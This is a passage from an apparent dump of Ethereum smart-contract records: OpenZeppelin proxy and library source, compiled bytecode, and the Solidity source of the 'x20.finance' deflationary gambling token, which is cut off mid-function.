ifAdmin returns (address admin_) { admin_ = _admin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external virtual ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin { _upgradeTo(newImplementation); Address.functionDelegateCall(newImplementation, data); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146100a85780638f283970146100d3578063f851a440146100f35761006d565b80633659cfe6146100755780634f1ef286146100955761006d565b3661006d5761006b610108565b005b61006b610108565b34801561008157600080fd5b5061006b610090366004610558565b610122565b61006b6100a3366004610572565b61015c565b3480156100b457600080fd5b506100bd6101d9565b6040516100ca919061060c565b60405180910390f35b3480156100df57600080fd5b5061006b6100ee366004610558565b610216565b3480156100ff57600080fd5b506100bd6102af565b610110610310565b61012061011b610351565b610376565b565b61012a61039a565b6001600160a01b0316336001600160a01b031614156101515761014c816103bf565b610159565b610159610108565b50565b61016461039a565b6001600160a01b0316336001600160a01b031614156101cc57610186836103bf565b6101c68383838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506102da92505050565b506101d4565b6101d4610108565b505050565b60006101e361039a565b6001600160a01b0316336001600160a01b0316141561020b57610204610351565b9050610213565b610213610108565b90565b61021e61039a565b6001600160a01b0316336001600160a01b03161415610151576001600160a01b0381166102665760405162461bcd60e51b815260040161025d906106ca565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61028f61039a565b8260405161029e929190610620565b60405180910390a161014c816103ff565b60006102b961039a565b6001600160a01b0316336001600160a01b0316141561020b5761020461039a565b60606102ff838360405180606001604052806027815260200161083860279139610423565b9392505050565b803b15155b919050565b61031861039a565b6001600160a01b0316336001600160a01b031614156103495760405162461bcd60e51b815260040161025d90610784565b610120610120565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610395573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6103c8816104bf565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b606061042e84610306565b61044a5760405162461bcd60e51b815260040161025d90610727565b600080856001600160a01b03168560405161046591906105f0565b600060405180830381855af49150503d80600081146104a0576040519150601f19603f3d011682016040523d82523d6000602084013e6104a5565b606091505b50915091506104b5828286610508565b9695505050505050565b6104c881610306565b6104e45760405162461bcd60e51b815260040161025d9061066d565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b606083156105175750816102ff565b8251156105275782518084602001fd5b8160405162461bcd60e51b815260040161025d919061063a565b80356001600160a01b038116811461030b57600080fd5b600060208284031215610569578081fd5b6102ff82610541565b600080600060408486031215610586578182fd5b61058f84610541565b9250602084013567ffffffffffffffff808211156105ab578384fd5b818601915086601f8301126105be578384fd5b8135818111156105cc578485fd5b8760208285010111156105dd578485fd5b6020830194508093505050509250925092565b60008251610602818460208701610807565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6000602082528251806020840152610659816040850160208701610807565b601f01601f19169190910160400192915050565b60208082526032908201527f4552433139363750726f78793a206e657720696d706c656d656e746174696f6e60408201527f206973206e6f74206120636f6e74726163740000000000000000000000000000606082015260800190565b6020808252603a908201527f5472616e73706172656e745570677261646561626c6550726f78793a206e657760408201527f2061646d696e20697320746865207a65726f2061646472657373000000000000606082015260800190565b60208082526026908201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60408201527f6e74726163740000000000000000000000000000000000000000000000000000606082015260800190565b60208082526042908201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60408201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760608201527f6574000000000000000000000000000000000000000000000000000000000000608082015260a00190565b60005b8381101561082257818101518382015260200161080a565b83811115610831576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209f2ceadead52da3d3cae0260a87eac0d961284b1bc955d5182c0f388883212aa64736f6c63430008000033
[ 5 ]
0xf26dadf77191f711c879e0bffe118b5c1d46386a
// DEV :x20.finance // Telegram: t.me/x20_finance // X20 (x20.finance) is a deflationary and gambling token // See https://github.com/IshikawaTravis/X10 for more info // // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\@openzeppelin\contracts\math\SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts\utils\Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin\contracts\access\Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\MultiplierToken.sol pragma solidity ^0.6.0; contract MultiplierToken is ERC20("x20.finance", "X20"), Ownable { using SafeMath for uint256; // Define if the game has started bool private gameStarted; // Address of the ETH-X10 liquidity pool on Uniswap // We need this address to play the game when the transfer // is from the liquidity pool (and not between holders). address private liquidityPool; // Values for random uint private nonce; uint private seed1; uint private seed2; // One of "chanceRate" chance to win uint private chanceRate; constructor() public { // Send Total Supply to the owner (msg.sender) _mint(msg.sender, uint256(10000).mul(1e18)); // The game hasn't started yet gameStarted = false; } // Function to start the Game // Only the owner can call this function // The game can't be stopped after this action function startGame(address _liquidityPool, uint _seed1) external onlyOwner { require(gameStarted == false, 'The game has already started'); require(_liquidityPool != address(0), 'Need the ETH-X20 liquidity pool address'); chanceRate = 100; liquidityPool = _liquidityPool; seed1 = _seed1; seed2 = _randModulus(uint(10000000), seed1); // The game is starting gameStarted = true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { return super.transfer(recipient, _getAmount(recipient, msg.sender, amount)); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { return super.transferFrom(sender, recipient, _getAmount(recipient, sender, amount)); } // Return the value of 'gameStarted' to know // if the game has started function hasGameStarted() public view returns (bool) { return gameStarted; } // Get the right amount when playing (or not) the game // With possible burn and reward function _getAmount(address recipient, address sender, uint256 amount) private returns (uint256) { if (gameStarted) { _sendReward(amount, sender, recipient); uint256 